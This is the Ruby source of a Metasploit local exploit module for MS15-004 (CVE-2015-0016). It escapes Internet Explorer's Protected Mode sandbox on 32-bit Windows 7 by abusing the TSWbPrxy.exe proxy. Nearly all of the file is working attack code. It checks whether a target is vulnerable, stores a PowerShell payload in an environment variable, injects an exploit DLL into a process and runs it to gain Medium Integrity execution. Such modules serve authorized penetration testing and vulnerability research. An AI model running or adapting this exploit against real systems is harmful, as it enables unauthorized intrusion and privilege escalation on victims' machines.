modules/exploits/windows/local/ms15_004_tswbproxy.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::Powershell
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape',
'Description' => %q{
This module abuses a process creation policy in Internet Explorer's
sandbox; specifically, Microsoft's RemoteApp and Desktop Connections runtime
proxy, TSWbPrxy.exe. This vulnerability allows the attacker to escape the
Protected Mode and execute code with Medium Integrity. At the moment, this
module only bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This
module has been tested successfully on Windows 7 SP1 (32 bits) with IE 8 and IE
11.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # From Threat Intel of Symantec
'Henry Li', # Public vulnerability analysis
'juan vazquez' # Metasploit module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Arch' => [ARCH_X86],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'WfsDelay' => 30
},
'Targets' => [
[
'Protected Mode (Windows 7) / 32 bits',
{
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2015-0016'],
['MSB', 'MS15-004'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/']
],
'DisclosureDate' => '2015-01-13',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_sys_process_attach
stdapi_sys_process_thread_create
]
}
}
}
)
)
end
def check
temp = get_env('WINDIR')
dll_path = "#{temp}\\System32\\TSWbPrxy.exe"
version = get_version_info
unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Server2012_R2)
return Exploit::CheckCode::Safe
end
unless file_exist?(dll_path)
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Detected
end
def exploit
print_status('Checking target...')
unless check == Exploit::CheckCode::Detected
fail_with(Failure::NotVulnerable, 'System not vulnerable')
end
if session.arch != ARCH_X86
fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment')
end
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win81)
fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment')
end
print_status('Checking the Process Integrity Level...')
unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NotVulnerable, 'Not running at Low Integrity')
end
cmd = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ remove_comspec: true }
)
print_status('Storing payload on environment variable...')
cmd.gsub!('powershell.exe ', '')
session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd)
print_status('Exploiting...')
process = client.sys.process.open
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll')
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset)
end
def cleanup
session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', nil)
super
end
end